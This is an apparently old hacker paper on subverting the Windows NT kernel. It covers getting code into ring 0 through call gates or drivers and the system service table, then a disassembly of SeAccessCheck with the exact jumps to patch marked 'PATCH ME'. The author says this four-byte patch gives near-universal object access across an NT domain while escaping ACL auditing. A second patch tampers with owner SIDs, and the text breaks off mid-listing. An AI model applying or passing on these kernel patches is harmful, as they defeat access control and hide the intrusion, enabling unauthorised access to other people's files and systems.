Getting to ring zero in the first place

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

User mode is very limiting under NT. Your process is bound by the selector it is currently using. The process cannot simply waltz over the entire memory map. As we have discussed, the process must first load a selector. You cannot simply read memory from 0 to FFF_, you can only access your own memory segment.

There are tricks however. If the process is running under a user token that has "add service" privilege, then you can create your own call gate, install it in realtime, and then use it to run your code ring 0. Once you are running ring 0 you can patch the IDT or the Kernel. This is how User‑Mode normally accesses a Ring‑0 Code Segment. If you don't want to go to this trouble, you can upload a byte patcher that runs in ring zero on boot. This is as simple as writing a driver and installing to run on the next reboot. However, installing your own call‑gate is by far the most sexy.

Lets talk sexy. The answer is a call gate. All of the functions provided by NTDLL.DLL are implemented this way. This is why you must call Int 2Eh to make a call. The entire set of Int 2Eh functions are known as the Native Call Interface (NCI). What really happens is the Int 2Eh is handled by a function in NTOSKRNL.EXE. This function is called KiSystemService(). KiSystemService() routes the call to the proper code location.

When you make a system call, you must first load the index of the function you wish to call. This is loaded into register EAX. Next, if the call takes parameters, a pointer to this block is loaded into EDX. Interrupt 2Eh is called, and EAX holds the return value. This is old hat to most assembler programmers.

What is not obvious is how this is implemented in the Kernel. The function KiSystemService() is called, and left with the responsibility for dispatching the call. KiSystemService() must first determine *WHAT* function to call next, based on what we put in EAX. So, to this end, it maintains a table of functions and their index numbers.. imagine that! SofIce will dump this table if your interested. It looks something like:

:ntcall

Service table address: 80149398 Number of services:000000D4

0000 0008:8017451E params=06 ntoskrnl!NtConnectPort+0834

0001 0008:80199C16 params=08 ntoskrnl!SeQueryAuthenticationIdToken+04B8 0002 0008:8019B3A2 params=0B ntoskrnl!SePrivilegeObjectAuditAlarm+02B0 0003 0008:80158E50 params=02 ntoskrnl!NtAddAtom

0004 0008:80197624 params=06 ntoskrnl!NtAdjustPrivilegesToken+0422 0005 0008:80197202 params=06 ntoskrnl!NtAdjustPrivilegesToken 0006 0008:80196256 params=02 ntoskrnl!PsGetProcessExitTime+1848 0007 0008:8019620E params=01 ntoskrnl!PsGetProcessExitTime+1800 0008 0008:8015901E params=01 ntoskrnl!NtAllocateLocallyUniqueId 0009 0008:801592EC params=03 ntoskrnl!NtAllocateUuids

000A 0008:8017B0F6 params=06 ntoskrnl!NtAllocateVirtualMemory 000B 0008:8011B8E4 params=03 ntoskrnl!ZwYieldExecution+08AC

etc etc...

Well, this is all very interesting, but where is this table stored? How does SoftIce manage to read it? Of course, it's all undocumented ;‑) Here I have no one to thank more than my friend from Sri Lanka, a fellow Rhino9 member, who goes by the handle Joey__. His paper on extending the NCI is nothing less than mind‑blowing. I draw heavily upon his research for this section. I feel this paper could not be complete without going over call‑gates and the NCI, so I paraphrase some of his work. For more detailed information on adding your own system services, read his paper entitled "Adding New Services to the NT Kernel Native API".

A very interesting thing happens when you boot NT. You start with about 200 functions in the NCI. These are all implemented in NTOSKRNL.EXE. But, soon afterwards, another 500 or so functions are added to the NCI, these being implemented in WIN32K.SYS. The fact that additional functions were added proves that it is possible to register new functions into the NCI during runtime.

The table that SoftIce dumps when you type NTCALL is called the System Service Descriptor Table (SSDT). The SSDT is what the KiSystemService() function uses to look up the proper function for a Int 2Eh call. Given that the NCI is extensible, it must be possible to add new functions to this table.

As it turns out, there are actually multiple tables. WIN32K.SYS doesn't actually add to the EXISTING system table, but creates a whole NEW one with 500 or so functions, and then ADDS it to the Kernel. To do this, it calls the exported function KeAddSystemServiceTable(). So, in a nutshell, all we have to do is create a new table with OUR functions and do the same thing.

Another angle on this involves adding our functions to the existing NCI table. But, this involves patching memory. Again, that's what we do best. To pull this trick off cleanly, we must allocate new memory large enough to hold the old tables plus our additional entries. We then must copy the old tables into our new memory, add our entries, and then patch memory so that KiSystemService() looks at our new table.

The FOUR‑Byte Patch

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Okay, lesson number one. Don't make yourself do extra work when you don't have to. This is the story of my life. I started this project by reversing the RtlXXX subroutines. For instance, there is a routine called RtlGetOwnerSecurityDescriptor(). This is a simple utility function that returns the Owner SID for a given security descriptor. I patched this routine to check for the BUILTIN\Administrators group, and alter it to be the BUILTIN\Users group. Although this patch works, it doesn't help me obtain access to protected files and shares. The RTL routine is only called for Process and Thread creation, it would seem. So, to make a long story short, I have included the RTLXXX information and patch below. It will illustrate a working kernel patch and should help you see my thought process as I 0wned a key kernel function.

Okay, lesson number two. If at first you don't succeed, try another function. This time I got very wise and decided to test a number of breakpoints in the Kernel before doing any extra work. Because I wanted to circumvent access to a file directly, I moved directly onward to the SeAccessCheck() function. Up front, I set a breakpoint on this function to make sure it is being called when accessing a file. To my excitement, it appears this function is called for almost any object access, not just a file. This means network shares as well. Going further, I tested my next patch against network share access as well as file access. I created a test directory, shared it over the network, and created a test file within that directory.

At first, the file had the default Everyone FULL CONTROL permissions. I set a breakpoint on SeAccessCheck() and attempted to cat the file. For this simple command the function is called three times:

Break due to BPX ntoskrnl!SeAccessCheck (ET=2.01 seconds)

:stack

Ntfs!PAGE+B683 at 0008:8020C203 (SS:EBP 0010:FD711D1C)

=> ntoskrnl!SeAccessCheck at 0008:8019A0E6 (SS:EBP 0010:FD711734) Break due to BPX ntoskrnl!SeAccessCheck (ET=991.32 microseconds) :stack

Ntfs!PAGE+B683 at 0008:8020C203 (SS:EBP 0010:FD711CB8)

=> ntoskrnl!SeAccessCheck at 0008:8019A0E6 (SS:EBP 0010:FD7116D8) Break due to BPX ntoskrnl!SeAccessCheck (ET=637.15 microseconds) :stack

Ntfs!PAGE+B683 at 0008:8020C203 (SS:EBP 0010:FD711D08)

=> ntoskrnl!SeAccessCheck at 0008:8019A0E6 (SS:EBP 0010:FD711720)

Next I set the file access to Administrator NO ACCESS. Attempting to cat the file locally resulted in an "Access Denied" message. The routine is called 13 times before the Access Denied message is given. Now I try to access it over the network. The function is called a total of 18 times before a Access Denied message is given. It would seem it takes alot more work to deny access than it does to give it. ;)

I was lit now, it looked like I had my target. After another 2 shots of espresso, I dumped the IDA file for SeAccessCheck, busted into SoftIce and started exploring:

To make things simpler, I have removed some of the assembly code that is not part of my discussion. If you are going to start playing with this, then you should disassemble all of this yourself nonetheless. I recommend IDA. At first I tried WDAsm32, but it was unable to decompile the ntoskrnl.exe binary properly. IDA, on the other hand, had no problems. WDAsm32 has a much nicer GUI interface, but IDA has proved more reliable. Just as most engineers, I use many tools to get the job done, so I recommend having both disassemblers around.

The function & patches:

8019A0E6 ; Exported entry 816. SeAccessCheck

8019A0E6

8019A0E6 ;

========================================

8019A0E6

8019A0E6 ; S u b r o u t i n e

8019A0E6 ; Attributes: bp‑basedframe

8019A0E6

8019A0E6 publicSeAccessCheck

8019A0E6 SeAccessCheck proc near

8019A0E6 ; sub_80133D06+B0p ...

8019A0E6

8019A0E6 arg_0 = dword ptr 8 ; appears to point to a

; Security Descriptor

8019A0E6 arg_4 = dword ptr 0Ch

8019A0E6 arg_8 = byteptr 10h

8019A0E6 arg_C = dword ptr 14h

8019A0E6 arg_10 = dword ptr 18h

8019A0E6 arg_14 = dword ptr 1Ch

8019A0E6 arg_18 = dword ptr 20h

8019A0E6 arg_1C = dword ptr 24h

8019A0E6 arg_20 = dword ptr 28h

8019A0E6 arg_24 = dword ptr 2Ch

8019A0E6

8019A0E6 push ebp

8019A0E7 mov ebp, esp

8019A0E9 push ebx

8019A0EA push esi

8019A0EB push edi

8019A0EC cmp byte ptr [ebp+arg_1C],0

8019A0F0 mov ebx, [ebp+arg_C]

8019A0F3 jnz short loc_8019A137

8019A0F5 test ebx, 2000000h

8019A0FB jz short loc_8019A11D

8019A0FD mov eax, [ebp+arg_18]

8019A100 mov edi, [ebp+arg_20]

8019A103 mov ecx, ebx

8019A105 mov eax, [eax+0Ch]

8019A108 and ecx, 0FDFFFFFFh

8019A10E mov [edi],eax

8019A110 or ecx, eax

8019A112 mov eax, [ebp+arg_10]

8019A115 or eax, ecx

8019A117 mov [edi],ecx

8019A119 mov [edi],eax

8019A11B jmp short loc_8019A13A

8019A11D ;

========================================

8019A11D

8019A11D loc_8019A11D: ; CODEXREF: SeAccessCheck+15

8019A11D mov eax, [ebp+arg_10]

8019A120 mov edi, [ebp+arg_20]

8019A123 or eax, ebx

8019A125 mov edx, [ebp+arg_24]

8019A128 mov [edi],eax

8019A12A mov al, 1

8019A12C mov dword ptr [edx], 0

8019A132 jmp loc_8019A23A

8019A137 ;

========================================

8019A137

8019A137 loc_8019A137: ; CODEXREF: SeAccessCheck+D

8019A137 mov edi, [ebp+arg_20]

8019A13A

8019A13A loc_8019A13A: ; CODEXREF: SeAccessCheck+35

8019A13A cmp [ebp+arg_0], 0

8019A13E jnz short loc_8019A150

8019A140 mov edx, [ebp+arg_24]

8019A143 xor al, al

; STATUS_ACCESS_DENIED not hit

; under normal means

8019A145 mov dword ptr [edx], 0C0000022h

8019A14B jmp loc_8019A23A

8019A150 ;

========================================

8019A150

8019A150 loc_8019A150: ; CODEXREF: SeAccessCheck+58

8019A150 mov esi, [ebp+arg_4]

8019A153 cmp dword ptr [esi], 0

8019A156 jz short loc_8019A16E

8019A158 cmp dword ptr [esi+4], 2

8019A15C jge short loc_8019A16E

8019A15E mov edx, [ebp+arg_24]

8019A161 xor al, al

; STATUS_BAD_IMPERSONATION_LEVEL

; not normally hit

8019A163 mov dword ptr [edx], 0C00000A5h

8019A169 jmp loc_8019A23A

8019A16E ;

========================================

8019A16E

8019A16E loc_8019A16E: ; CODEXREF: SeAccessCheck+70

8019A16E ; SeAccessCheck+76

8019A16E test ebx, ebx

8019A170 jnz short loc_8019A1A0

8019A172 cmp [ebp+arg_10], 0

8019A176 jnz short loc_8019A188

8019A178 mov edx, [ebp+arg_24]

8019A17B xor al, al

; STATUS_ACCESS_DENIED not

; normally hit

8019A17D mov dword ptr [edx], 0C0000022h

8019A183 jmp loc_8019A23A

8019A188 ;

========================================

8019A188

8019A188 loc_8019A188: ; CODEXREF: SeAccessCheck+90

8019A188 mov eax, [ebp+arg_10]

8019A18B xor ecx, ecx

8019A18D mov edx, [ebp+arg_24]

8019A190 mov [edi],eax

8019A192 mov eax, [ebp+arg_14]

8019A195 mov [edx],ecx

8019A197 mov [eax],ecx

8019A199 mov al, 1

8019A19B jmp loc_8019A23A

8019A1A0 ;

========================================

8019A1A0

8019A1A0 loc_8019A1A0: ; CODEXREF: SeAccessCheck+8A

8019A1A0 cmp [ebp+arg_8], 0

8019A1A4 jnz short loc_8019A1AC

8019A1A6 push esi

8019A1A7 call SeLockSubjectContext

8019A1AC

8019A1AC loc_8019A1AC: ; CODEXREF: SeAccessCheck+BE

8019A1AC test ebx, 2060000h

8019A1B2 jz short loc_8019A1EA

8019A1B4 mov eax, [esi]

8019A1B6 test eax, eax

8019A1B8 jnz short loc_8019A1BD

8019A1BA mov eax, [esi+8]

8019A1BD

8019A1BD loc_8019A1BD: ; CODEXREF: SeAccessCheck+D2

8019A1BD push 1

8019A1BF push [ebp+arg_0]

8019A1C2 push eax

8019A1C3 call sub_8019A376

8019A1C8 test al, al

8019A1CA jz short loc_8019A1EA

8019A1CC test ebx, 2000000h

8019A1D2 jz short loc_8019A1DA

8019A1D4 or byte ptr [ebp+arg_10+2], 6

8019A1D8 jmp short loc_8019A1E4

8019A1DA ;

========================================

8019A1DA

8019A1DA loc_8019A1DA: ; CODEXREF: SeAccessCheck+EC

8019A1DA mov eax, ebx

8019A1DC and eax, 60000h

8019A1E1 or [ebp+arg_10], eax

8019A1E4

8019A1E4 loc_8019A1E4: ; CODEXREF: SeAccessCheck+F2

8019A1E4 and ebx, 0FFF9FFFFh

8019A1EA

8019A1EA loc_8019A1EA: ; CODEXREF: SeAccessCheck+CC

8019A1EA ; SeAccessCheck+E4

8019A1EA test ebx, ebx

8019A1EC jnz short loc_8019A20C

8019A1EE cmp [ebp+arg_8], 0

8019A1F2 jnz short loc_8019A1FA

8019A1F4 push esi

8019A1F5 call SeUnlockSubjectContext

8019A1FA

8019A1FA loc_8019A1FA: ; CODEXREF: SeAccessCheck+10

8019A1FA mov eax, [ebp+arg_10]

8019A1FD mov edx, [ebp+arg_24]

8019A200 mov [edi],eax

8019A202 mov al, 1

8019A204 mov dword ptr [edx], 0

8019A20A jmp short loc_8019A23A

8019A20C ;

========================================

Since most of the arguments are being passed to this, it looks like this routine is a wrapper for this other one.. lets delve deeper....

8019A20C

8019A20C loc_8019A20C: ; CODEXREF: SeAccessCheck+106

8019A20C push [ebp+arg_24]

8019A20F push [ebp+arg_14]

8019A212 push edi

8019A213 push [ebp+arg_1C]

8019A216 push [ebp+arg_10]

8019A219 push [ebp+arg_18]

8019A21C push ebx

8019A21D push dword ptr [esi]

8019A21F push dword ptr [esi+8]

8019A222 push [ebp+arg_0]

8019A225 call sub_80199836; decompiled below ***

8019A22A cmp [ebp+arg_8], 0

8019A22E mov bl, al

8019A230 jnz short loc_8019A238

8019A232 push esi

8019A233 call SeUnlockSubjectContext ; not usually hit 8019A238

8019A238 loc_8019A238: ; CODEXREF: SeAccessCheck+14A

8019A238 mov al, bl

8019A23A

8019A23A loc_8019A23A: ; CODEXREF: SeAccessCheck+4C

8019A23A ; SeAccessCheck+65 ...

8019A23A pop edi

8019A23B pop esi

8019A23C pop ebx

8019A23D pop ebp

8019A23E retn 28h

8019A23E SeAccessCheck endp

Subroutine called from SeAccessCheck. Looks like most of work is being done in here. I will try to patch this routine.

80199836 ;

========================================

80199836

80199836 ; S u b r o u t i n e

80199836 ; Attributes: bp‑basedframe

80199836

80199836 sub_80199836 proc near ; CODEXREF: PAGE:80199FFA 80199836 ; SeAccessCheck+13F ...

80199836

80199836 var_14 = dword ptr ‑14h

80199836 var_10 = dword ptr ‑10h

80199836 var_C = dword ptr ‑0Ch

80199836 var_8 = dword ptr ‑8

80199836 var_2 = byteptr ‑2

80199836 arg_0 = dword ptr 8

80199836 arg_4 = dword ptr 0Ch

80199836 arg_8 = dword ptr 10h

80199836 arg_C = dword ptr 14h

80199836 arg_10 = dword ptr 18h

80199836 arg_16 = byteptr 1Eh

80199836 arg_17 = byteptr 1Fh

80199836 arg_18 = dword ptr 20h

80199836 arg_1C = dword ptr 24h

80199836 arg_20 = dword ptr 28h

80199836 arg_24 = dword ptr 2Ch

80199836

80199836 push ebp

80199837 mov ebp, esp

80199839 sub esp, 14h

8019983C push ebx

8019983D push esi

8019983E push edi

8019983F xor ebx, ebx

80199841 mov eax, [ebp+arg_8]; pulls eax

80199844 mov [ebp+var_14], ebx; ebx is zero, looks

; like it init's a

; bunch of local vars

80199847 mov [ebp+var_C], ebx

8019984A mov [ebp‑1], bl

8019984D mov [ebp+var_2], bl

80199850 cmp eax, ebx; check that arg8 is

; NULL

80199852 jnz short loc_80199857

80199854 mov eax, [ebp+arg_4]; arg4 pts to

; "USER32 "

80199857

80199857 loc_80199857:

80199857 mov edi, [ebp+arg_C]; checking some flags

; off of this one

8019985A mov [ebp+var_8], eax; var_8 = arg_4

8019985D test edi, 1000000h; obviously flags..

; desired access mask

; I think...

80199863 jz short loc_801998CA; normally this jumps..

; go ahead and jump

80199865 push [ebp+arg_18]

80199868 push [ebp+var_8]

8019986B push dword_8014EE94

80199871 push dword_8014EE90

80199877 call sub_8019ADE0; another undoc'd sub

8019987C test al, al; return code

8019987E jnz short loc_80199890

80199880 mov ecx, [ebp+arg_24]

80199883 xor al, al

80199885 mov dword ptr [ecx], 0C0000061h

8019988B jmp loc_80199C0C

80199890 ;

========================================

removed source here

801998CA ;

========================================

801998CA

801998CA loc_801998CA: ; jump from above lands here

801998CA ; sub_80199836

801998CA mov eax, [ebp+arg_0]; arg0 pts to a

; Security Descriptor

801998CD mov dx, [eax+2]; offset 2 is that

; 80 04 number...

801998D1 mov cx, dx

801998D4 and cx, 4; 80 04 become 00 04

801998D8 jz short loc_801998EA; normally doesnt jump

801998DA mov esi, [eax+10h]; SD[10h] is an offset

; value to the DACL in

; the SD

801998DD test esi, esi; make sure it exists

801998DF jz short loc_801998EA

801998E1 test dh, 80h

801998E4 jz short loc_801998EC

801998E6 add esi, eax; FFWDS to first DACL

; in SD ******

801998E8 jmp short loc_801998EC ; normally all good ; here, go ahead and

; jump

801998EA ;

========================================

801998EA

801998EA loc_801998EA: ; CODEXREF: sub_80199836+A2

801998EA ; sub_80199836+A9

801998EA xor esi, esi

801998EC

801998EC loc_801998EC: ; CODEXREF: sub_80199836+AE

801998EC ; sub_80199836+B2

801998EC cmp cx, 4 ; jump lands here

801998F0 jnz loc_80199BC6

801998F6 test esi, esi

801998F8 jz loc_80199BC6

801998FE test edi, 80000h; we normally dont match this, ; so go ahead and jump

80199904 jz short loc_8019995E

*** removed source here ***

8019995E ;

========================================

8019995E

8019995E loc_8019995E: ; CODEXREF: sub_80199836+CE

8019995E ; sub_80199836+D4 ...

8019995E movzx eax, word ptr [esi+4]; jump lands

80199962 mov [ebp+var_10], eax; offset 4 is number of

; ACE's present in DACL

; var_10 = # Ace's

80199965 xor eax, eax

80199967 cmp [ebp+var_10], eax

8019996A jnz short loc_801999B7; normally jump

*** removed source here ***

801999A2 ;

========================================

*** removed source here ***

801999B7 ;

========================================

801999B7

801999B7 loc_801999B7: ; CODEXREF: sub_80199836+134

801999B7 test byte ptr [ebp+arg_C+3], 2 ; looks like part of ; the flags data,

; we usually jump

801999BB jz loc_80199AD3

*** removed source here ***

80199AD3 ;

========================================

80199AD3

80199AD3 loc_80199AD3: ; CODEXREF: sub_80199836+185

80199AD3 mov [ebp+var_C], 0 ; jump lands here

80199ADA add esi, 8

80199ADD cmp [ebp+var_10], 0 ; is number of ACE's zero? 80199AE1 jz loc_80199B79 ; normally not

80199AE7

80199AE7 loc_80199AE7: ; CODEXREF: sub_80199836+33D

80199AE7 test edi, edi ; the EDI register is very

; important we will continue

; to loop back to this point

; as we traverse each ACE

; the EDI register is modified

; with each ACE's access mask

; if a SID match occurs.

; Access is allowed only if

; EDI is completely blank

; by the time we are done. :‑)

80199AE9 jz loc_80199B79; jumps to exit routine

; if EDI is blank

80199AEF test byte ptr [esi+1], 8; checks for ACE value ; 8, second byte..

; i dont know what

; this is, but if it's

; not 8, its not

; evaluated, not

; important

80199AF3 jnz short loc_80199B64

80199AF5 mov al, [esi]; this is the ACE type,

; which is 0, 1, or 4

80199AF7 test al, al; 0 is ALLOWED_TYPE and

; 1 is DENIED_TYPE

80199AF9 jnz short loc_80199B14; jump to next block if ; it's not type 0

80199AFB lea eax, [esi+8]; offset 8 is the SID

80199AFE push eax; pushes the ACE

80199AFF push [ebp+var_8]

80199B02 call sub_801997C2; checks to see if the

; caller matches the

; SID return of 1 says

; we matched, 0 means

; we did not

80199B07 test al, al

80199B09 jz short loc_80199B64; a match here is good,

; since its the ALLOWED

; list

; so a 2 byte patch can

; NOP out this jump

; <PATCH ME>

80199B0B mov eax, [esi+4]

80199B0E not eax

80199B10 and edi, eax; whiddles off the part

; of EDI that we

; matched ..

; this chopping of

; flags can go on through

; many loops

; remember, we are only

; good if ALL of EDI is

; chopped away...

80199B12 jmp short loc_80199B64

80199B14 ;

========================================

80199B14

80199B14 loc_80199B14: ; CODEXREF: sub_80199836+2C3

80199B14 cmp al, 4; check for ACE type 4

80199B16 jnz short loc_80199B4B; normally we aren't

; this type, so jump

*** removed source here ***

80199B4B ;

========================================

80199B4B

80199B4B loc_80199B4B: ; CODEXREF: sub_80199836+2E0j 80199B4B cmp al, 1; check for DENIED type

80199B4D jnz short loc_80199B64

80199B4F lea eax, [esi+8]; offset 8 is the SID

80199B52 push eax

80199B53 push [ebp+var_8]

80199B56 call sub_801997C2; check the callers SID

80199B5B test al, al; a match here is BAD,

; since we are being

; DENIED

80199B5D jz short loc_80199B64; so make JZ a normal

; JMP <PATCH ME>

80199B5F test [esi+4], edi; we avoid this flag

; check w/ the patch

80199B62 jnz short loc_80199B79

80199B64

80199B64 loc_80199B64: ; CODEXREF: sub_80199836+2BD

80199B64 ; sub_80199836+2D3

80199B64 mov ecx, [ebp+var_10]; our loop routine,

; called from above as

; we loop around and

; around.

; var_10 is the number

; of ACE's

80199B67 inc [ebp+var_C]; var_C is the current

; ACE

80199B6A movzx eax, word ptr [esi+2]; byte 3 is the offset ; to the next ACE

80199B6E add esi, eax; FFWD

80199B70 cmp [ebp+var_C], ecx; check to see if we

; are done

80199B73 jb loc_80199AE7; if not, go back up...

80199B79

80199B79 loc_80199B79: ; CODEXREF: sub_80199836+2AB

80199B79 ; sub_80199836+2B3

80199B79 xor eax, eax; this is our general

; exit routine

80199B7B test edi, edi; if EDI isnt empty,

; then a DENIED state

; was reached above

80199B7D jz short loc_80199B91; so patch the JZ into

; a JMP so we never

; return ACCESS_DENIED

; <PATCH ME>

80199B7F mov ecx, [ebp+arg_1C]

80199B82 mov [ecx],eax

80199B84 mov eax, [ebp+arg_24]

; STATUS_ACCESS_DENIED

80199B87 mov dword ptr [eax], 0C0000022h

80199B8D xor al, al

80199B8F jmp short loc_80199C0C

80199B91 ;

========================================

80199B91

80199B91 loc_80199B91: ; CODEXREF: sub_80199836+347

80199B91 mov eax, [ebp+1Ch]

80199B94 mov ecx, [ebp+arg_1C]; result code into

; &arg_1C

80199B97 or eax, [ebp+arg_C]; checked passed in

; mask

80199B9A mov [ecx],eax

80199B9C mov ecx, [ebp+arg_24]; result code into

; &arg_24, should be

; zero

80199B9F jnz short loc_80199BAB; if everything above

; went OK, we should

jump

80199BA1 xor al, al

80199BA3 mov dword ptr [ecx], 0C0000022h

80199BA9 jmp short loc_80199C0C

80199BAB ;

========================================

80199BAB

80199BAB loc_80199BAB: ; CODEXREF: sub_80199836+369

80199BAB mov dword ptr [ecx], 0; Good and Happy

; things, we passed!

80199BB1 test ebx, ebx

80199BB3 jz short loc_80199C0A

80199BB5 push [ebp+arg_20]

80199BB8 push dword ptr [ebp+var_2]

80199BBB push dword ptr [ebp‑1]

80199BBE push ebx

80199BBF call sub_8019DC80

80199BC4 jmp short loc_80199C0A

80199BC6 ;

========================================

removed code here

80199C0A loc_80199C0A: ; CODEXREF: sub_80199836+123

80199C0A ; sub_80199836+152

80199C0A mov al, 1

80199C0C

80199C0C loc_80199C0C: ; CODEXREF: sub_80199836+55

80199C0C ; sub_80199836+8F

80199C0C pop edi

80199C0D pop esi

80199C0E pop ebx

80199C0F mov esp, ebp

80199C11 pop ebp

80199C12 retn 28h ; Outta Here!

80199C12 sub_80199836 endp

Whew!

Some STRUCTURE dumps along the way:

:d eax

0023:E1A1C174 01 00 04 80 DC 00 00 00‑EC 00 00 00 00 00 00 00 ................ ; this looks like a SD

0023:E1A1C184 14 00 00 00 02 00 C8 00‑08 00 00 00 00 09 18 00 ................ 0023:E1A1C194 00 00 00 10 01 01 00 00‑00 00 00 03 00 00 00 00 ................ 0023:E1A1C1A4 00 00 00 00 00 02 18 00‑FF 01 1F 00 01 01 00 00 ................ 0023:E1A1C1B4 00 00 00 03 00 00 00 00‑00 00 00 00 00 09 18 00 ................ 0023:E1A1C1C4 00 00 00 10 01 01 00 00‑00 00 00 05 12 00 00 00 ................ 0023:E1A1C1D4 00 00 00 00 00 02 18 00‑FF 01 1F 00 01 01 00 00 ................ 0023:E1A1C1E4 00 00 00 05 12 00 00 00‑00 00 00 00 00 09 18 00 ................

:d esi

0023:E1A1C188 02 00 C8 00 08 00 00 00‑00 09 18 00 00 00 00 10 ................ ; OFFSET into the SD (DACL)

0023:E1A1C198 01 01 00 00 00 00 00 03‑00 00 00 00 00 00 00 00 ................ 0023:E1A1C1A8 00 02 18 00 FF 01 1F 00‑01 01 00 00 00 00 00 03 ................ 0023:E1A1C1B8 00 00 00 00 00 00 00 00‑00 09 18 00 00 00 00 10 ................ 0023:E1A1C1C8 01 01 00 00 00 00 00 05‑12 00 00 00 00 00 00 00 ................ 0023:E1A1C1D8 00 02 18 00 FF 01 1F 00‑01 01 00 00 00 00 00 05 ................ 0023:E1A1C1E8 12 00 00 00 00 00 00 00‑00 09 18 00 00 00 00 10 ................ 0023:E1A1C1F8 01 02 00 00 00 00 00 05‑20 00 00 00 20 02 00 00 ........ ... ...

The following formats appear to be the SD, DACL, and ACE:

SD:

‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑

r | |04|80|fo| | | |fg| | | | | | |fd| | ‑‑==>

‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑

r: Revision, must be 1

fo: Offset to Owner SID

fg: Offset to Group SID

fd: Offset to DACL

ACL:

‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑

r | | | |na| | | |sa| | ‑‑==>

‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑

r: Revision?

na: Number of ACE's

sa: Start of first ACE

ACE:

‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑

t |i |oa| |am| | | |ss| | ‑‑==>

‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑ ‑‑

t: type, 0, 1, or 4

i: the ACE is ignored if this value isn't 8

oa: offset to next ACE

am: access mask associated with this SID

ss: start of the SID, normally at offset 8, but for ACE type 4, will be at offset 0Ch

So there you have it, a 4 byte patch. Application of this patch will allow almost anyone access to almost any object on your NT domain. Also, it is undetectable when auditing ACL's and the such. The only indication something is wrong is the fact your now opening the SAM database from a normal account w/o a hitch... I can kill any process without being denied access.. God knows what the NULL User session can get away with!. I like that. 8‑/. Gee, it's almost USEFUL isn't it?

Reverse Engineering & Patch of the RTLGetOwnerSecurityDescriptor() function

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As if the last patch wasn't good enough, this patch should illustrate how easy it is add your own code to the Kernel. Simply by patching a single jump, I was able to detour the execution path into a highwayman's patch, and return back to normal execution without a hitch. This patch alters a SID in memory, violating the integrity of the security system. With a little creative light, this patch could be so much more. There are hundreds of routines in the ntoskrnl.exe. You are executing your own code in ring‑0, so anything is possible. If for any other reason, this paper should open your mind to the possibilities. Reversing the NT Kernel is nothing new, I am quite sure. I would bet that the NSA has the full source to the NT Kernel, and has written some very elaborate patches. In fact, they were probably on that for NT 3.5.

80184AAC ;

========================================

80184AAF align 4

80184AB0 ; Exported entry 719. RtlGetOwnerSecurityDescriptor 80184AB0

80184AB0 ;

========================================

80184AB0

80184AB0 ; S u b r o u t i n e

80184AB0 ; Attributes: bp‑basedframe

80184AB0

80184AB0 publicRtlGetOwnerSecurityDescriptor

80184AB0 RtlGetOwnerSecurityDescriptor proc near ; CODEXREF: sub_8018F318+22 80184AB0

80184AB0 arg_0 = dword ptr 8

80184AB0 arg_4 = dword ptr 0Ch

80184AB0 arg_8 = dword ptr 10h

80184AB0

80184AB0 push ebp

80184AB1 mov edx, [esp+arg_0]

80184AB5 mov ebp, esp

80184AB7 push esi

//

// MessageId: STATUS_UNKNOWN_REVISION

//

// MessageText:

//

// Indicates a revision number encountered or specified is not one

// known by the service. It may be a more recent revision than the

// service is aware of.

//

#define STATUS_UNKNOWN_REVISION ((NTSTATUS)0xC0000058L)

On SD Revision:

The user mode function InitializeSecurityDescriptor() will set the revision number for the SD. The InitializeSecurityDescriptor() function initializes a new security descriptor.

BOOL InitializeSecurityDescriptor(

PSECURITY_DESCRIPTOR pSecurityDescriptor, // address of security descriptor

DWORD dwRevision // revision level

);

Parameters:

pSecurityDescriptor: Points to a SECURITY_DESCRIPTOR structure that the function initializes.

dwRevision: Specifies the revision level to assign to the security descriptor. This must be SECURITY_DESCRIPTOR_REVISION.

80184AB8 cmp byte ptr [edx], 1; Ptr to decimal

; value usually 01,

; (SD Revision)

80184ABB jz short loc_80184AC4

; STATUS CODE (STATUS_UNKNOWN_REVISION)

80184ABD mov eax, 0C0000058h

80184AC2 jmp short loc_80184AF3; will exit

The next block here does some operations against the object stored *edx, which is our first argument to this function. I think this may be a SD. There are two different forms of an SD, absolute and relative.. here is the doc:

A security descriptor can be in absolute or self‑relative form. In self‑relative form, all members of the structure are located contiguously in memory. In absolute form, the structure only contains pointers to the members.

This [edx] object is passed in as absolute:

Argument 1 (a SECURITY_DESCRIPTOR structure):

:d edx

0023:E1F47488 01 00 04 80 5C 00 00 00‑6C 00 00 00 00 00 00 00 ....\...l....... ; 01 Revision, Flags 04,

; Offset to Owner SID is 5C,

; Offset to Primary Group SID is 6C

0023:E1F47498 14 00 00 00 02 00 48 00‑02 00 00 00 00 00 18 00 ......H......... 0023:E1F474A8 FF 00 0F 00 01 02 00 00‑00 00 00 05 20 00 00 00 ............ ... 0023:E1F474B8 20 02 00 00 00 00 14 00‑FF 00 0F 00 01 01 00 00 ............... 0023:E1F474C8 00 00 00 05 12 00 00 00‑00 00 4E 00 C8 FD 14 00 ..........N..... 0023:E1F474D8 E8 00 14 00 41 00 64 00‑6D 00 69 00 01 02 00 00 ....A.d.m.i..... ; SIDS start here, see below

0023:E1F474E8 00 00 00 05 20 00 00 00‑20 02 00 00 01 05 00 00 .... ... ....... 0023:E1F474F8 00 00 00 05 15 00 00 00‑BA 5D FF 0C 5C 4F CF 51 .........]..\O.Q

80184AC4 ;

========================================

80184AC4

80184AC4 loc_80184AC4:; CODEXREF:

; RtlGetOwnerSecurityDescriptor+B

80184AC4 mov eax, [edx+4] ; we are here if the revision ; is good

80184AC7 xor ecx, ecx

80184AC9 test eax, eax ; 01 00 04 80 >5C< which is

